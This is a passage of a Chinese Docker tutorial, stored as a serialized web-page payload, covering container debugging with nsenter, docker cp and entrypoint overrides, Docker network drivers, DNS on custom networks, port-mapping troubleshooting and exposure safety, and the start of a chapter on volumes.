shop-api:\u002Fsrv\u002Fshop\u002Fconfig\u002Fapp.yaml .\u002Fapp.yaml"," 是容器 → 宿主，",[22,50353,50354],{},"docker cp .\u002Fnginx.conf shop-web:\u002Fetc\u002Fnginx\u002Fconf.d\u002Fsite.conf"," 是宿主 → 容器。",[11,50357,50358,50359,50362,50363,50366,50367,50370,50371,50373],{},"用途是把配置塞进去做一次性试验、把日志与产物捞出来。两个限制：",[17,50360,50361],{},"运行中改的文件容器重建就没了","（所以它是调试手段，不是部署手段）；",[22,50364,50365],{},"cp"," 目录时的合并语义与 ",[22,50368,50369],{},"rsync"," 不同，路径末尾的 ",[22,50372,655],{}," 要写清楚。",[53,50375,50377],{"id":50376},"镜像里没有编辑器没有-ps没有-curl-怎么办","镜像里没有编辑器、没有 ps、没有 curl 怎么办",[11,50379,50380],{},"按代价从小到大三个方案：",[57,50382,50383,50396],{},[60,50384,50385],{},[63,50386,50387,50389,50391,50393],{},[66,50388,3831],{},[66,50390,3720],{},[66,50392,11987],{},[66,50394,50395],{},"代价",[79,50397,50398,50426,50445],{},[63,50399,50400,50403,50420,50423],{},[84,50401,50402],{},"从外部看",[84,50404,50405,272,50408,272,50410,50413,50414,272,50417],{},[22,50406,50407],{},"docker top",[22,50409,50022],{},[22,50411,50412],{},"docker cp","、宿主 ",[22,50415,50416],{},"\u002Fproc\u002F\u003Cpid>\u002F",[22,50418,50419],{},"nsenter",[84,50421,50422],{},"只想看状态与文件",[84,50424,50425],{},"需要宿主权限",[63,50427,50428,50431,50436,50439],{},[84,50429,50430],{},"临时装工具",[84,50432,50433],{},[22,50434,50435],{},"docker exec -it shop-api sh -c 'apk add --no-cache curl tcpdump'",[84,50437,50438],{},"一次性排查",[84,50440,50441,50442],{},"破坏「镜像不可变」，",[17,50443,50444],{},"只允许在开发\u002F临时环境",[63,50446,50447,50450,50461,50464],{},[84,50448,50449],{},"调试镜像",[84,50451,50452,50453,50456,50457,50460],{},"单独 ",[22,50454,50455],{},"Dockerfile.debug","（含 strace\u002Flsof\u002Fjq），或把 ",[22,50458,50459],{},"nicolaka\u002Fnetshoot"," 连进同一网络",[84,50462,50463],{},"反复排查网络与进程",[84,50465,50466],{},"多一份镜像要维护",[11,50468,50469],{},"从宿主直接看容器内部，是很值钱的一招（Linux 上）：",[308,50471,50473],{"className":3902,"code":50472,"language":3904,"meta":314,"style":314},"PID=$(docker inspect --format '{{.State.Pid}}' shop-api)\nsudo ls -l \u002Fproc\u002F$PID\u002Froot\u002Fsrv\u002Fshop; sudo cat \u002Fproc\u002F$PID\u002Fcgroup   # 容器的根文件系统 \u002F 它归属哪个 cgroup\nsudo nsenter -t $PID -n ss -lntp                                 # 进入它的 net namespace 看监听端口\nsudo nsenter -t $PID -m -p -- cat \u002Fproc\u002F1\u002Fenviron | tr '\\0' '\\n'\n",[22,50474,50475,50498,50531,50555],{"__ignoreMap":314},[331,50476,50477,50480,50482,50485,50487,50489,50491,50494,50496],{"class":333,"line":334},[331,50478,50479],{"class":337},"PID",[331,50481,518],{"class":616},[331,50483,50484],{"class":337},"$(",[331,50486,36862],{"class":501},[331,50488,48875],{"class":365},[331,50490,50255],{"class":344},[331,50492,50493],{"class":365}," '{{.State.Pid}}'",[331,50495,49945],{"class":365},[331,50497,972],{"class":337},[331,50499,50500,50502,50504,50506,50509,50512,50515,50517,50519,50521,50523,50525,50528],{"class":333,"line":341},[331,50501,37063],{"class":501},[331,50503,50172],{"class":365},[331,50505,43868],{"class":344},[331,50507,50508],{"class":365}," \u002Fproc\u002F",[331,50510,50511],{"class":337},"$PID",[331,50513,50514],{"class":365},"\u002Froot\u002Fsrv\u002Fshop",[331,50516,620],{"class":337},[331,50518,37063],{"class":501},[331,50520,50155],{"class":365},[331,50522,50508],{"class":365},[331,50524,50511],{"class":337},[331,50526,50527],{"class":365},"\u002Fcgroup",[331,50529,50530],{"class":1003},"   # 容器的根文件系统 \u002F 它归属哪个 cgroup\n",[331,50532,50533,50535,50538,50540,50543,50546,50549,50552],{"class":333,"line":357},[331,50534,37063],{"class":501},[331,50536,50537],{"class":365}," nsenter",[331,50539,48230],{"class":344},[331,50541,50542],{"class":337}," $PID ",[331,50544,50545],{"class":344},"-n",[331,50547,50548],{"class":365}," ss",[331,50550,50551],{"class":344}," -lntp",[331,50553,50554],{"class":1003},"                                 # 进入它的 net namespace 看监听端口\n",[331,50556,50557,50559,50561,50563,50565,50567,50569,50571,50573,50576,50578,50581,50584],{"class":333,"line":371},[331,50558,37063],{"class":501},[331,50560,50537],{"class":365},[331,50562,48230],{"class":344},[331,50564,50542],{"class":337},[331,50566,49561],{"class":344},[331,50568,36941],{"class":344},[331,50570,34864],{"class":344},[331,50572,50155],{"class":365},[331,50574,50575],{"class":365}," \u002Fproc\u002F1\u002Fenviron",[331,50577,15984],{"class":616},[331,50579,50580],{"class":501}," tr",[331,50582,50583],{"class":365}," '\\0'",[331,50585,50586],{"class":365}," '\\n'\n",[11,50588,50589,50591,50592,161],{},[22,50590,50419],{}," 借用容器的 namespace，看到的端口、路由、文件都是容器视角，而工具装在宿主上——",[17,50593,50594],{},"镜像里什么都没有也能查",[53,50596,50598],{"id":50597},"起来就退出-entrypoint-sh-是唯一可靠的入口","起来就退出：--entrypoint sh 是唯一可靠的入口",[11,50600,50601,50602,50605,50606,50608,50609,322],{},"容器 ",[22,50603,50604],{},"Exited (1)"," 且没有日志时，你连 ",[22,50607,49225],{}," 的机会都没有（它已经不跑了）。正确做法是",[17,50610,50611],{},"把主命令换成 shell，再手工跑原来那条",[308,50613,50615],{"className":3902,"code":50614,"language":3904,"meta":314,"style":314},"docker run --rm -it --entrypoint sh ghcr.io\u002Fexample\u002Fshop-api:1.8.3\n\u002Fsrv\u002Fshop $ node server.js        # 错误现在直接打到你的终端上\n\u002Fsrv\u002Fshop $ env | sort; id; ls -l .\n",[22,50616,50617,50634,50650],{"__ignoreMap":314},[331,50618,50619,50621,50623,50625,50627,50630,50632],{"class":333,"line":334},[331,50620,36862],{"class":501},[331,50622,5020],{"class":365},[331,50624,48890],{"class":344},[331,50626,50116],{"class":344},[331,50628,50629],{"class":344}," --entrypoint",[331,50631,50121],{"class":365},[331,50633,48934],{"class":365},[331,50635,50636,50639,50642,50644,50647],{"class":333,"line":341},[331,50637,50638],{"class":501},"\u002Fsrv\u002Fshop",[331,50640,50641],{"class":337}," $ ",[331,50643,15542],{"class":365},[331,50645,50646],{"class":365}," server.js",[331,50648,50649],{"class":1003},"        # 错误现在直接打到你的终端上\n",[331,50651,50652,50654,50656,50659,50661,50664,50666,50668,50670,50672,50674],{"class":333,"line":357},[331,50653,50638],{"class":501},[331,50655,50641],{"class":337},[331,50657,50658],{"class":365},"env",[331,50660,15984],{"class":616},[331,50662,50663],{"class":501}," sort",[331,50665,620],{"class":337},[331,50667,8521],{"class":501},[331,50669,620],{"class":337},[331,50671,16007],{"class":501},[331,50673,43868],{"class":344},[331,50675,48236],{"class":365},[11,50677,50678,50679,50682,50683,50685,50686,272,50688,50690],{},"三步定位法（第十八章的排障表也按它走）：",[22,50680,50681],{},"docker logs --tail 50 \u003Cname>"," → 没输出就 ",[22,50684,49652],{}," 手工启动 → 怀疑环境差异就在 shell 里核对 ",[22,50687,50658],{},[22,50689,8521],{},"、路径与权限。",[53,50692,50694],{"id":50693},"docker-events谁在什么时候动了什么","docker events：谁在什么时候动了什么",[11,50696,50697,50700,50701,161],{},[22,50698,50699],{},"docker events --since 30m --until 10m --filter type=container","，或者按事件与标签收窄：",[22,50702,50703],{},"docker events --filter 'event=die' --filter 'label=app=shop-api'",[11,50705,50706,50709,50710,18878,50713,655,50716,50719,50720,50722,50723,50725,50726,50728,50729,50732],{},[22,50707,50708],{},"die"," 事件带 ",[22,50711,50712],{},"exitCode",[22,50714,50715],{},"--since",[22,50717,50718],{},"--until"," 支持相对时间。它能回答「谁杀了我的容器」：如果 ",[22,50721,50708],{}," 前面有 ",[22,50724,49205],{}," 事件，那是人为或脚本发的信号；只有一个 ",[22,50727,50708],{}," 且 ",[22,50730,50731],{},"OOMKilled=true","，那是内核干的（第十四章）。",[53,50734,50736],{"id":50735},"为什么容器里通常没有-systemd","为什么容器里通常没有 systemd",[11,50738,50739],{},"因为容器不是虚拟机。systemd 的职责是管理一整台机器（init、服务、cgroup、日志、登录会话），而容器的定位是「一个进程 + 它需要的东西」：",[1773,50741,50742,50745,50761],{},[1662,50743,50744],{},"PID 1 应该留给你的应用；给了 systemd，信号、退出码、日志转发全乱（第十六章的信号问题会加倍）。",[1662,50746,50747,50748,50751,50752,50755,50756,5760,50758,50760],{},"systemd 要写 cgroup 树、访问 ",[22,50749,50750],{},"\u002Fsys\u002Ffs\u002Fcgroup","、可能需要 ",[22,50753,50754],{},"CAP_SYS_ADMIN","——在共享内核的容器里做这些，等于和宿主的管理者（dockerd、kubelet）抢 cgroup。这就是第二章 ",[22,50757,46267],{},[22,50759,46315],{}," 必须统一的深层原因。",[1662,50762,50763,50764,50767],{},"需要多个服务时的答案是",[17,50765,50766],{},"多容器 + Compose","（第十一章），不是在一个容器里跑五个 daemon。",[11,50769,50770,50771,50774],{},"确有特例（跑完整发行版做系统级测试），社区做法是带 systemd 的特权镜像，形如 ",[22,50772,50773],{},"--cgroupns=host --tmpfs \u002Frun --tmpfs \u002Frun\u002Flock -v \u002Fsys\u002Ffs\u002Fcgroup:\u002Fsys\u002Ffs\u002Fcgroup:ro","。生产里把它当代码异味看待。",[11,50776,50777,50778,272,50780,272,50783,272,50785,272,50787,50789],{},"示例 07 把 ",[22,50779,49225],{},[22,50781,50782],{},"inspect --format",[22,50784,50045],{},[22,50786,50365],{},[22,50788,47684],{}," 串成一次完整排查演练，全部输出是真实样本。",[4748,50791],{"height":42104,"src":50792,"title":50793},"\u002Ftutorials\u002Fdocker\u002Fdemos\u002F07-exec-debug.html","示例 07：进入容器与调试——exec \u002F inspect \u002F cp \u002F entrypoint",[11,50795,50796],{},"调试能力有了，下一章处理运行侧最容易出事的一块：网络。",[48,50798,50800],{"id":50799},"八端口与网络bridge自定义网络与那个会变-ip-的坑","八、端口与网络：bridge、自定义网络与那个会变 IP 的坑",[11,50802,50803],{},"网络是 Docker 里概念最密的一块，因为在 Linux 上网络本来就是内核子系统。路线：先讲驱动有哪些，再讲默认网桥为什么不适合生产，然后是自定义网络的 DNS，最后是端口与暴露边界。",[53,50805,50806],{"id":50806},"五种网络驱动与取舍",[57,50808,50809,50824],{},[60,50810,50811],{},[63,50812,50813,50816,50819,50821],{},[66,50814,50815],{},"驱动",[66,50817,50818],{},"机制",[66,50820,11668],{},[66,50822,50823],{},"代价与限制",[79,50825,50826,50842,50860,50876,50895],{},[63,50827,50828,50833,50836,50839],{},[84,50829,50830,42334],{},[22,50831,50832],{},"bridge",[84,50834,50835],{},"Linux bridge + veth + NAT",[84,50837,50838],{},"本地开发、单机多容器",[84,50840,50841],{},"默认网络无 DNS、有 NAT 开销",[63,50843,50844,50848,50851,50854],{},[84,50845,50846],{},[22,50847,49511],{},[84,50849,50850],{},"容器直接用宿主网络栈",[84,50852,50853],{},"追求极致性能、需要看宿主网卡",[84,50855,50856,50859],{},[17,50857,50858],{},"直接占用宿主端口","、与其他容器 hostname 混在一起、Mac\u002FWindows 无效",[63,50861,50862,50867,50870,50873],{},[84,50863,50864],{},[22,50865,50866],{},"none",[84,50868,50869],{},"只有 lo 回环",[84,50871,50872],{},"纯计算任务、彻底断网",[84,50874,50875],{},"完全没网络",[63,50877,50878,50883,50886,50889],{},[84,50879,50880],{},[22,50881,50882],{},"overlay",[84,50884,50885],{},"VXLAN 隧道跨宿主",[84,50887,50888],{},"Swarm 多机服务",[84,50890,50891,50894],{},[17,50892,50893],{},"只有 Swarm 才用得上","（第十七章）",[63,50896,50897,50905,50908,50911],{},[84,50898,50899,1901,50902],{},[22,50900,50901],{},"macvlan",[22,50903,50904],{},"ipvlan",[84,50906,50907],{},"容器在局域网里拿到独立 MAC\u002FIP",[84,50909,50910],{},"需要以「独立网络设备」身份存在",[84,50912,50913],{},"与宿主通信受阻、交换机端口安全\u002F802.1X 会拒、AP 隔离网络无效",[11,50915,50916,50917,50920],{},"选择顺序基本是：",[17,50918,50919],{},"自定义 bridge（单机首选） → host（明确要性能或要宿主栈） → macvlan（明确要求二层可达） → overlay（跨机且用 Swarm）","。「默认 bridge」不在可选之列，理由见下一节。",[53,50922,50924],{"id":50923},"默认网桥-docker0-的真实行为","默认网桥 docker0 的真实行为",[11,50926,50927,50928,50931,50932,50935,50936,50939],{},"装完 Docker，宿主上会出现 ",[22,50929,50930],{},"docker0"," 网桥，默认网段 ",[22,50933,50934],{},"172.17.0.0\u002F16","。不加 ",[22,50937,50938],{},"--network"," 的容器都接在上面。它有两个坑：",[1659,50941,50942,50960],{},[1662,50943,50944,50947,50948,50951,50952,50955,50956,50959],{},[17,50945,50946],{},"没有基于名字的 DNS","。默认网络里容器只能靠 IP 互相访问，而 IP 每次重启都可能变：",[22,50949,50950],{},"docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' shop-api"," 今天拿到 ",[22,50953,50954],{},"172.17.0.2","，重启后可能变成 ",[22,50957,50958],{},"172.17.0.3","——任何把 IP 写进配置的用法都是定时炸弹。",[1662,50961,50962,4839,50965,50968],{},[17,50963,50964],{},"同网段一律互通",[22,50966,50967],{},"icc=true","），且所有容器混在一张广播域里，噪音与端口冲突随容器数量增长。",[11,50970,50971,50972,50975],{},"结论：",[17,50973,50974],{},"生产与多容器开发一律用自定义网络","，默认 bridge 只适合「临时跑一个孤立容器」。",[53,50977,50979],{"id":50978},"自定义网络与-dns-解析","自定义网络与 DNS 解析",[308,50981,50983],{"className":3902,"code":50982,"language":3904,"meta":314,"style":314},"docker network create --driver bridge --subnet 172.28.0.0\u002F16 --gateway 172.28.0.1 shop-net\ndocker network connect shop-net shop-api     # 断开是 network disconnect；network inspect 看细节\ndocker network ls; docker network rm shop-net\n",[22,50984,50985,51014,51031],{"__ignoreMap":314},[331,50986,50987,50989,50992,50994,50996,50999,51002,51005,51008,51011],{"class":333,"line":334},[331,50988,36862],{"class":501},[331,50990,50991],{"class":365}," network",[331,50993,3919],{"class":365},[331,50995,48860],{"class":344},[331,50997,50998],{"class":365}," bridge",[331,51000,51001],{"class":344}," --subnet",[331,51003,51004],{"class":365}," 172.28.0.0\u002F16",[331,51006,51007],{"class":344}," --gateway",[331,51009,51010],{"class":344}," 172.28.0.1",[331,51012,51013],{"class":365}," shop-net\n",[331,51015,51016,51018,51020,51023,51026,51028],{"class":333,"line":341},[331,51017,36862],{"class":501},[331,51019,50991],{"class":365},[331,51021,51022],{"class":365}," connect",[331,51024,51025],{"class":365}," shop-net",[331,51027,49945],{"class":365},[331,51029,51030],{"class":1003},"     # 断开是 network disconnect；network inspect 看细节\n",[331,51032,51033,51035,51037,51039,51041,51043,51045,51047],{"class":333,"line":357},[331,51034,36862],{"class":501},[331,51036,50991],{"class":365},[331,51038,50172],{"class":365},[331,51040,620],{"class":337},[331,51042,36862],{"class":501},[331,51044,50991],{"class":365},[331,51046,46759],{"class":365},[331,51048,51013],{"class":365},[11,51050,51051,51052,51055,51056,51059,51060,51063,51064,51067],{},"自定义网络里，",[17,51053,51054],{},"容器名就是主机名","，可以直接 ",[22,51057,51058],{},"curl http:\u002F\u002Fshop-api:3000","。原理是每个网络内嵌一个 DNS 服务器（容器里 ",[22,51061,51062],{},"cat \u002Fetc\u002Fresolv.conf"," 会看到 ",[22,51065,51066],{},"nameserver 127.0.0.11","），它把容器名与网络别名解析成当前 IP——IP 变了名字不变，配置不用改。这就是「不要靠 IP，要靠名字」的技术依据。",[308,51069,51071],{"className":3902,"code":51070,"language":3904,"meta":314,"style":314},"docker run -d --name shop-api --network shop-net --network-alias api ghcr.io\u002Fexample\u002Fshop-api:1.8.3\ndocker exec shop-web curl -s http:\u002F\u002Fapi:3000\u002Fhealthz        # 别名同样可用\ndocker exec shop-api getent hosts shop-db                    # 看 DNS 实际解析到什么\n",[22,51072,51073,51098,51117],{"__ignoreMap":314},[331,51074,51075,51077,51079,51081,51083,51085,51088,51090,51093,51096],{"class":333,"line":334},[331,51076,36862],{"class":501},[331,51078,5020],{"class":365},[331,51080,36867],{"class":344},[331,51082,36870],{"class":344},[331,51084,49945],{"class":365},[331,51086,51087],{"class":344}," --network",[331,51089,51025],{"class":365},[331,51091,51092],{"class":344}," --network-alias",[331,51094,51095],{"class":365}," api",[331,51097,48934],{"class":365},[331,51099,51100,51102,51104,51106,51109,51111,51114],{"class":333,"line":341},[331,51101,36862],{"class":501},[331,51103,50113],{"class":365},[331,51105,49096],{"class":365},[331,51107,51108],{"class":365}," curl",[331,51110,15978],{"class":344},[331,51112,51113],{"class":365}," http:\u002F\u002Fapi:3000\u002Fhealthz",[331,51115,51116],{"class":1003},"        # 别名同样可用\n",[331,51118,51119,51121,51123,51125,51128,51131,51134],{"class":333,"line":357},[331,51120,36862],{"class":501},[331,51122,50113],{"class":365},[331,51124,49945],{"class":365},[331,51126,51127],{"class":365}," getent",[331,51129,51130],{"class":365}," hosts",[331,51132,51133],{"class":365}," shop-db",[331,51135,51136],{"class":1003},"                    # 看 DNS 实际解析到什么\n",[11,51138,51139,51142,51143,51146,51147,51149],{},[22,51140,51141],{},"--link"," 是老写法（默认网络时代的补丁），现在",[17,51144,51145],{},"忘掉它","：它靠注入环境变量和改 ",[22,51148,49534],{}," 工作，行为隐晦、已废弃，Compose 里写了也不起作用。",[11,51151,51152,51155,51156,51159,51160,272,51163,272,51166,51169,51170,51173],{},[22,51153,51154],{},"network create"," 值得知道的开关：",[22,51157,51158],{},"--internal","（完全不出外网，只让容器间互通）、",[22,51161,51162],{},"--ipv6",[22,51164,51165],{},"--ip-range",[22,51167,51168],{},"--opt com.docker.network.driver.mtu=1400","（overlay\u002FVXLAN 必须减 MTU，否则出现「小请求正常、大请求卡死」的经典诡异现象）、",[22,51171,51172],{},"--attachable","（Swarm，第十七章）。",[53,51175,51177],{"id":51176},"端口映射四种写法与port-is-already-allocated","端口映射：四种写法与「port is already allocated」",[308,51179,51181],{"className":3902,"code":51180,"language":3904,"meta":314,"style":314},"docker run -d -p 8080:80 shop-web             # 宿主 0.0.0.0:8080 → 容器 80\ndocker run -d -p 127.0.0.1:8080:80 shop-web   # 只监听回环（推荐的默认姿势）\ndocker run -d -p 8080 shop-web                # 宿主端口随机；`-p 80\u002Fudp` 则是显式指定协议\n",[22,51182,51183,51201,51219],{"__ignoreMap":314},[331,51184,51185,51187,51189,51191,51193,51196,51198],{"class":333,"line":334},[331,51186,36862],{"class":501},[331,51188,5020],{"class":365},[331,51190,36867],{"class":344},[331,51192,36941],{"class":344},[331,51194,51195],{"class":365}," 8080:80",[331,51197,49096],{"class":365},[331,51199,51200],{"class":1003},"             # 宿主 0.0.0.0:8080 → 容器 80\n",[331,51202,51203,51205,51207,51209,51211,51214,51216],{"class":333,"line":341},[331,51204,36862],{"class":501},[331,51206,5020],{"class":365},[331,51208,36867],{"class":344},[331,51210,36941],{"class":344},[331,51212,51213],{"class":365}," 127.0.0.1:8080:80",[331,51215,49096],{"class":365},[331,51217,51218],{"class":1003},"   # 只监听回环（推荐的默认姿势）\n",[331,51220,51221,51223,51225,51227,51229,51232,51234],{"class":333,"line":357},[331,51222,36862],{"class":501},[331,51224,5020],{"class":365},[331,51226,36867],{"class":344},[331,51228,36941],{"class":344},[331,51230,51231],{"class":344}," 8080",[331,51233,49096],{"class":365},[331,51235,51236],{"class":1003},"                # 宿主端口随机；`-p 80\u002Fudp` 则是显式指定协议\n",[11,51238,51239,51240,51243],{},"背后是 ",[22,51241,51242],{},"docker-proxy"," 进程 + iptables DNAT。因此端口不通的排查顺序是固定的四步：",[308,51245,51247],{"className":3902,"code":51246,"language":3904,"meta":314,"style":314},"docker ps --format '{{.Names}} {{.Ports}}'                # ① 映射到底存在吗\ndocker exec shop-web sh -c 'ss -lntp || netstat -lntp'    # ② 容器里真的在听吗？听的是 0.0.0.0 吗\nsudo ss -lntp | grep 8080                                 # ③ 宿主上这个端口被谁占了\nsudo iptables -t nat -S DOCKER | grep 8080                # ④ NAT 规则真的写进去了吗\n",[22,51248,51249,51263,51281,51298],{"__ignoreMap":314},[331,51250,51251,51253,51255,51257,51260],{"class":333,"line":334},[331,51252,36862],{"class":501},[331,51254,50297],{"class":365},[331,51256,50255],{"class":344},[331,51258,51259],{"class":365}," '{{.Names}} {{.Ports}}'",[331,51261,51262],{"class":1003},"                # ① 映射到底存在吗\n",[331,51264,51265,51267,51269,51271,51273,51275,51278],{"class":333,"line":341},[331,51266,36862],{"class":501},[331,51268,50113],{"class":365},[331,51270,49096],{"class":365},[331,51272,50121],{"class":365},[331,51274,15990],{"class":344},[331,51276,51277],{"class":365}," 'ss -lntp || netstat -lntp'",[331,51279,51280],{"class":1003},"    # ② 容器里真的在听吗？听的是 0.0.0.0 吗\n",[331,51282,51283,51285,51287,51289,51291,51293,51295],{"class":333,"line":357},[331,51284,37063],{"class":501},[331,51286,50548],{"class":365},[331,51288,50551],{"class":344},[331,51290,15984],{"class":616},[331,51292,16363],{"class":501},[331,51294,51231],{"class":344},[331,51296,51297],{"class":1003},"                                 # ③ 宿主上这个端口被谁占了\n",[331,51299,51300,51302,51305,51307,51310,51313,51316,51318,51320,51322],{"class":333,"line":371},[331,51301,37063],{"class":501},[331,51303,51304],{"class":365}," iptables",[331,51306,48230],{"class":344},[331,51308,51309],{"class":365}," nat",[331,51311,51312],{"class":344}," -S",[331,51314,51315],{"class":365}," DOCKER",[331,51317,15984],{"class":616},[331,51319,16363],{"class":501},[331,51321,51231],{"class":344},[331,51323,51324],{"class":1003},"                # ④ NAT 规则真的写进去了吗\n",[11,51326,51327,51328,51334,51335,51337,51338,51340],{},"第②步是新手最大的盲区：",[17,51329,51330,51331,51333],{},"应用只 bind ",[22,51332,46698],{}," 时，端口映射永远不会通","——从 veth 进来的包不是本地回环来源。所以「容器里的服务必须 bind ",[22,51336,15566],{},"」是硬性要求，而很多框架默认绑 ",[22,51339,13406],{},"（Uvicorn、部分 Spring 配置、老版 webpack devServer），必须显式改。",[11,51342,51343,51346,51347,51349,51350,51353,51354,51356],{},[22,51344,51345],{},"Error response from daemon: driver failed programming external connectivity ... port is already allocated"," 的三类原因：别的容器占了（",[22,51348,46448],{}," 查）、宿主进程占了（",[22,51351,51352],{},"ss -lntp"," 查）、daemon 上次异常退出留下僵尸 ",[22,51355,51242],{},"（重启 docker 解决）。示例 08 是一次完整演练：从「连不上」一路查到「应用只 bind 了 127.0.0.1」。",[53,51358,51360],{"id":51359},"容器互访宿主访问容器","容器互访、宿主访问容器",[1773,51362,51363,51376,51389],{},[1662,51364,51365,51368,51369,4839,51372,51375],{},[17,51366,51367],{},"容器 → 容器","：同一个自定义网络，用容器名\u002F别名 + ",[17,51370,51371],{},"容器内端口",[22,51373,51374],{},"http:\u002F\u002Fshop-db:5432","）。不要绕道宿主映射端口，也不要用 IP。",[1662,51377,51378,322,51381,51384,51385,51388],{},[17,51379,51380],{},"宿主 → 容器",[22,51382,51383],{},"curl localhost:8080","（走映射）；Linux 上还能直接 ",[22,51386,51387],{},"curl 172.28.0.5:5432","（容器 IP，只用于调试）。",[1662,51390,51391,51394,51395,51398],{},[17,51392,51393],{},"容器 → 宿主上的服务","：用 ",[22,51396,51397],{},"host.docker.internal","。Docker Desktop 自带该域名；Linux 上要手动加：",[308,51400,51402],{"className":3902,"code":51401,"language":3904,"meta":314,"style":314},"docker run -d --name shop-api --add-host=host.docker.internal:host-gateway ghcr.io\u002Fexample\u002Fshop-api:1.8.3\ndocker exec shop-api curl -s http:\u002F\u002Fhost.docker.internal:5432\u002F\n",[22,51403,51404,51421],{"__ignoreMap":314},[331,51405,51406,51408,51410,51412,51414,51416,51419],{"class":333,"line":334},[331,51407,36862],{"class":501},[331,51409,5020],{"class":365},[331,51411,36867],{"class":344},[331,51413,36870],{"class":344},[331,51415,49945],{"class":365},[331,51417,51418],{"class":344}," --add-host=host.docker.internal:host-gateway",[331,51420,48934],{"class":365},[331,51422,51423,51425,51427,51429,51431,51433],{"class":333,"line":341},[331,51424,36862],{"class":501},[331,51426,50113],{"class":365},[331,51428,49945],{"class":365},[331,51430,51108],{"class":365},[331,51432,15978],{"class":344},[331,51434,51435],{"class":365}," http:\u002F\u002Fhost.docker.internal:5432\u002F\n",[11,51437,51438,51441,51442,51449,51450,51453,51454,51456,51457,51459],{},[22,51439,51440],{},"host-gateway"," 是特殊值，让 Docker 自己填宿主在容器网络里的网关 IP，",[17,51443,51444,51445,51448],{},"比写死 ",[22,51446,51447],{},"172.17.0.1"," 可靠","。Compose 里对应 ",[22,51451,51452],{},"extra_hosts: [\"host.docker.internal:host-gateway\"]","（第十二章）。注意 macOS\u002FWindows 上容器里的 ",[22,51455,46698],{}," 不是你本机（第二章那台虚拟机），别拿 ",[22,51458,13406],{}," 指宿主。",[1773,51461,51462],{},[1662,51463,51464,51469,51470,51472,51473,51475,51476,51479,51480,51482,51483,161],{},[17,51465,51466,51468],{},[22,51467,46598],{}," 为什么在 Mac 上不生效","：那个 host 是 Docker VM 的 host，不是你 Mac 的；表现为容器内部能通、外部访问不了、",[22,51471,36989],{}," 被忽略。Linux 上则真的共享栈：",[22,51474,51352],{}," 能直接看到容器进程，同时",[17,51477,51478],{},"端口冲突会打到宿主服务","——宿主跑着 nginx 又 ",[22,51481,49505],{}," 起一个 nginx，就是 ",[22,51484,51485],{},"address already in use",[53,51487,51488],{"id":51488},"暴露到公网的安全边界",[57,51490,51491,51502],{},[60,51492,51493],{},[63,51494,51495,51497,51500],{},[66,51496,19254],{},[66,51498,51499],{},"可达范围",[66,51501,43747],{},[79,51503,51504,51516,51530,51543],{},[63,51505,51506,51510,51513],{},[84,51507,51508],{},[22,51509,49373],{},[84,51511,51512],{},"所有网卡（含公网 IP）",[84,51514,51515],{},"只在真正对外服务时用",[63,51517,51518,51522,51525],{},[84,51519,51520],{},[22,51521,49393],{},[84,51523,51524],{},"仅本机",[84,51526,51527],{},[17,51528,51529],{},"数据库、管理面板、内部 API 的默认写法",[63,51531,51532,51537,51540],{},[84,51533,51534],{},[22,51535,51536],{},"-p 10.0.0.5:8080:80",[84,51538,51539],{},"指定网卡（如内网口）",[84,51541,51542],{},"内外网分流时用",[63,51544,51545,51551,51554],{},[84,51546,51547,51548,51550],{},"不写 ",[22,51549,36989],{},"，只在网络内互通",[84,51552,51553],{},"同网络容器",[84,51555,51556],{},"最稳妥的默认",[11,51558,51559,51560,51563,51564,655,51567,51570,51571,51574,51575,51578,51579,161],{},"还有一条只在 Docker 出现的经典事故：",[17,51561,51562],{},"iptables 让 ufw\u002Ffirewalld 的规则形同虚设","。Docker 在 ",[22,51565,51566],{},"PREROUTING",[22,51568,51569],{},"FORWARD"," 里插了自己的链，优先级高于 ufw，于是你 ",[22,51572,51573],{},"ufw deny 5432"," 之后公网照样连得上数据库。解法是把访问控制放进 ",[22,51576,51577],{},"DOCKER-USER"," 链（Docker 不会重写它），或者从一开始就不给容器绑 ",[22,51580,15566],{},[4748,51582],{"height":32474,"src":51583,"title":51584},"\u002Ftutorials\u002Fdocker\u002Fdemos\u002F08-network.html","示例 08：网络与容器互访——网段、DNS 与端口排查",[11,51586,51587],{},"网络通了，数据该往哪儿放？下一章讲四种存储方式，以及「容器删了数据没了」这个事故是怎么发生的。",[48,51589,51591],{"id":51590},"九数据持久化匿名卷命名卷bind-mount-与-tmpfs","九、数据持久化：匿名卷、命名卷、bind mount 与 tmpfs",[53,51593,51595],{"id":51594},"四种存储先分清谁拥有这块空间","四种存储，先分清「谁拥有这块空间」",[11,51597,51598,51599,51601],{},"容器可写层随 ",[22,51600,37027],{}," 消失，所以要持久化的数据必须放到容器文件系统之外。Docker 给了四条路：",[57,51603,51604,51621],{},[60,51605,51606],{},[63,51607,51608,51610,51613,51616,51618],{},[66,51609,8896],{},[66,51611,51612],{},"谁创建与管理",[66,51614,51615],{},"宿主上的位置",[66,51617,11668],{},[66,51619,51620],{},"容器删了数据还在吗",[79,51622,51623,51650,51671,51688],{},[63,51624,51625,51628,51635,51640,51643],{},[84,51626,51627],{},"匿名卷",[84,51629,51630,51631,51634],{},"Docker 自动建（",[22,51632,51633],{},"a1b2c3..."," 这种名字）",[84,51636,51637],{},[22,51638,51639],{},"\u002Fvar\u002Flib\u002Fdocker\u002Fvolumes\u002F\u003C随机名>\u002F_data",[84,51641,51642],{},"临时容器、忘了挂卷时的兜底",[84,51644,51645,51646,51649],{},"在（成为孤儿卷，",[22,51647,51648],{},"prune"," 才清）",[63,51651,51652,51655,51658,51663,51668],{},[84,51653,51654],{},"命名卷",[84,51656,51657],{},"你显式命名，或 Compose 声明",[84,51659,51660],{},[22,51661,51662],{},"\u002Fvar\u002Flib\u002Fdocker\u002Fvolumes\u002Fshop_db-data\u002F_data",[84,51664,51665],{},[17,51666,51667],{},"数据库、需要备份与迁移的数据",[84,51669,51670],{},"在，且可预期",[63,51672,51673,51676,51679,51682,51685],{},[84,51674,51675],{},"bind mount",[84,51677,51678],{},"你指向宿主任意路径",[84,51680,51681],{},"就是那个路径本身",[84,51683,51684],{},"开发时挂载源码、挂配置文件",[84,51686,51687],{},"在（本来就在宿主）",[63,51689,51690,51693,51696,51699,51702],{},[84,51691,51692],{},"tmpfs",[84,51694,51695],{},"内存\u002Fswap，不落盘",[84,51697,51698],{},"内存",[84,51700,51701],{},"密钥、会话、临时上传缓冲",[84,51703,51704,51707],{},[17,51705,51706],{},"不在","（重启即清零）",[11,51709,51710,51711,51714],{},"选择依据只有一句：",[17,51712,51713],{},"要不要被 Docker 生命周期管理","。要 → 